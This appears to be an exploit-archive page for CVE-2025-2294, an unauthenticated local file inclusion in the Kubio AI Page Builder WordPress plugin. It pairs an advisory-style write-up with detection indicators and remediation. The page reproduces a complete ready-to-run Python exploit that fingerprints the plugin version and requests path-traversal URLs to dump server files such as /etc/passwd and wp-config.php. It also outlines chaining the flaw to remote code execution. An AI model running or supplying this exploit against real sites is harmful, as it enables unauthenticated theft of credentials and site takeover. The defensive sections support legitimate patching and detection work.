PoC Archive PoC Archive
Critical CVE-2025-2294 unpatched

Kubio AI Page Builder <= 2.5.1 Unauthenticated Local File Inclusion (CVE-2025-2294)

by fumioryoto (Nahidul Islam / "Nahid") · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-2294
Category
web
Affected product
Kubio AI Page Builder (WordPress plugin)
Affected versions
<= 2.5.1
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherfumioryoto (Nahidul Islam / “Nahid”)
CVE / AdvisoryCVE-2025-2294
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagswordpress, kubio, page-builder, lfi, local-file-inclusion, unauthenticated, php, python, cwe-98
RelatedN/A

Affected Target

FieldValue
Software / SystemKubio AI Page Builder (WordPress plugin)
Versions Affected<= 2.5.1
Language / PlatformExploit written in Python 3 (requests); target is a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes

Summary

The Kubio AI Page Builder plugin for WordPress, in all versions up to and including 2.5.1, is vulnerable to Local File Inclusion via the kubio_hybrid_theme_load_template function. The root cause is that a template path supplied through a query-string parameter is passed into a file-include operation without adequate path sanitization or an allow-list, letting an unauthenticated attacker traverse the filesystem. The included repo script (exploit.py) first fetches the plugin’s readme.txt to fingerprint the installed version, and if it is <= 2.5.1, sends a crafted request to the WordPress front end that abuses the Kubio site-edit iframe preview parameters to include and render an arbitrary file path. Impact ranges from disclosure of sensitive local files (e.g. /etc/passwd, config files) to remote code execution if an attacker can first plant PHP content in an includable location (e.g. via file upload).


Vulnerability Details

Root Cause

Kubio’s template loader (kubio_hybrid_theme_load_template) builds an include path directly from the __kubio-site-edit-iframe-classic-template request parameter without validating that the value stays within an expected template directory. Because the parameter accepts path traversal sequences (../../../..) and is reachable while unauthenticated (gated only by the __kubio-site-edit-iframe-preview=1 flag), the plugin will include()/render arbitrary files from the server’s filesystem.

Relevant PoC logic (exploit.py):

1
2
3
4
5
6
def build_exploit_url(url, target_file):
    return (
        f"{url}/?"
        f"__kubio-site-edit-iframe-preview=1"
        f"&__kubio-site-edit-iframe-classic-template={target_file}"
    )

with the default traversal payload:

1
2
3
4
5
parser.add_argument(
    "-f", "--file",
    default="../../../../../../../../etc/passwd",
    help="File to read (default: /etc/passwd)"
)

Attack Vector

  1. Attacker requests {target}/wp-content/plugins/kubio/readme.txt to confirm the plugin is installed and read the Stable tag: line to determine the installed version.
  2. If the reported version is <= 2.5.1, the target is considered vulnerable.
  3. Attacker sends an unauthenticated GET request to the site root with __kubio-site-edit-iframe-preview=1 and __kubio-site-edit-iframe-classic-template=<path-traversal-or-absolute-path>.
  4. The vulnerable template-loading code includes the referenced file and the response reflects its contents (or executes it, if it is PHP).
  5. Attacker repeats with different file paths to harvest configuration files, credentials, or other sensitive local files, or targets a file they previously uploaded (e.g. via an image upload feature) to escalate from LFI to remote code execution.

Impact

  • Unauthenticated disclosure of arbitrary local files readable by the web server process (credentials, wp-config.php, /etc/passwd, etc.).
  • Potential remote code execution when combined with the ability to upload attacker-controlled content (images or other “safe” file types) that is then included and executed as PHP.
  • Full compromise of the WordPress installation and potentially the underlying host, given the 9.8 CVSS rating and lack of authentication requirement.

Environment / Lab Setup

Target:
- WordPress installation with the "Kubio AI Page Builder" plugin installed, version <= 2.5.1
- Plugin readme.txt reachable at /wp-content/plugins/kubio/readme.txt (default install layout)

Attacker:
- Python 3.x
- `requests` library (pip install requests)

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
python3 exploit.py -u https://TARGET -f /etc/passwd

#
#

Detection & Indicators of Compromise

- GET requests to /wp-content/plugins/kubio/readme.txt from unfamiliar/scanning user agents
- GET requests to site root containing the query parameters:
    __kubio-site-edit-iframe-preview=1
    __kubio-site-edit-iframe-classic-template=<path traversal sequence or absolute path>
- Path traversal sequences (../, encoded variants, or absolute paths like /etc/passwd)
  appearing in the classic-template parameter value
- Unexpected 200 OK responses containing file contents unrelated to normal template rendering

Signs of compromise:

  • Web server access logs showing repeated requests to kubio/readme.txt followed by requests with __kubio-site-edit-iframe-classic-template parameters.
  • Disclosure of /etc/passwd, wp-config.php, or other sensitive files in HTTP responses.
  • Unusual outbound requests or new PHP files appearing under uploads directories (possible precursor to LFI-to-RCE chaining).

Remediation

ActionDetail
Primary fixUpdate the Kubio AI Page Builder plugin to a version newer than 2.5.1 that validates/sanitizes the template path parameter (per the Wordfence/vendor advisory for CVE-2025-2294).
Interim mitigationRestrict or disable public access to __kubio-site-edit-iframe-preview functionality at the web server/WAF layer, block requests containing path traversal sequences in query parameters, and disable/remove the plugin if patching is not immediately possible.

References


Notes

Mirrored from https://github.com/fumioryoto/CVE-2025-2294-Kubio-2.5.1-LFi-Checker on 2026-07-06. Repo is a 135-line-class checker/exploit script (exploit.py) that fetches the plugin’s readme.txt to fingerprint the version, then performs the LFI against the Kubio template-loading parameter to read arbitrary files; confirmed to match this description on inspection.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import requests
import argparse
import time

# ------------------ Session setup ------------------
session = requests.Session()
requests.packages.urllib3.disable_warnings()
session.verify = False

# Browser-like headers (important)
session.headers.update({
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/120.0.0.0 Safari/537.36"
    ),
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
})

# ------------------ Banner ------------------
banner = """
===============================================
 Kubio AI Page Builder <= 2.5.1 LFI Checker
 CVE-2025-2294 
 Author: Nahidul Islam (fumioryoto)
 GitHub: github.com/fumioryoto
    Note: For educational purposes only.
===============================================
"""

# ------------------ Functions ------------------
def fetch_readme(url):
    target = f"{url}/wp-content/plugins/kubio/readme.txt"
    try:
        response = session.get(target, timeout=10)

        # Debug output
        print("[DEBUG] Readme URL:", target)
        print("[DEBUG] Status Code:", response.status_code)

        response.raise_for_status()
        return response.text

    except requests.HTTPError as http_err:
        print(f"[-] HTTP error occurred: {http_err}")
    except requests.RequestException as req_err:
        print(f"[-] Request error occurred: {req_err}")

    return None


def is_vulnerable(readme_content):
    for line in readme_content.splitlines():
        if "Stable tag:" in line:
            version = line.split(":")[-1].strip()
            try:
                major, minor, patch = map(int, version.split("."))
            except ValueError:
                return False

            if (major, minor, patch) <= (2, 5, 1):
                print(f"[+] Vulnerable version detected: {version}")
                time.sleep(3)
                return True
            break
    return False


def build_exploit_url(url, target_file):
    return (
        f"{url}/?"
        f"__kubio-site-edit-iframe-preview=1"
        f"&__kubio-site-edit-iframe-classic-template={target_file}"
    )


def send_exploit_request(full_url):
    try:
        response = session.get(full_url, timeout=10)
        print("[DEBUG] Exploit request status:", response.status_code)
        response.raise_for_status()
        return response.text

    except requests.HTTPError as http_err:
        print(f"[-] HTTP error occurred: {http_err}")
    except requests.RequestException as req_err:
        print(f"[-] Request error occurred: {req_err}")

    return None


def display_result(content):
    if content:
        print("[+] Response received:")
        print(content)
    else:
        print("[-] No content returned.")


def exploit(target_url, file_to_read):
    readme = fetch_readme(target_url)

    if readme and is_vulnerable(readme):
        exploit_url = build_exploit_url(target_url, file_to_read)
        result = send_exploit_request(exploit_url)
        display_result(result)
    else:
        print("[-] Target not vulnerable or readme.txt not accessible.")


# ------------------ Main ------------------
if __name__ == "__main__":
    print(banner)

    parser = argparse.ArgumentParser(
        description=(
            "CVE-2025-2294 Kubio AI Page Builder <= 2.5.1 "
            "Unauthenticated LFI (PoC)"
        )
    )
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="Target base URL (e.g., https://example.com)"
    )
    parser.add_argument(
        "-f", "--file",
        default="../../../../../../../../etc/passwd",
        help="File to read (default: /etc/passwd)"
    )

    args = parser.parse_args()
    exploit(args.url.rstrip("/"), args.file)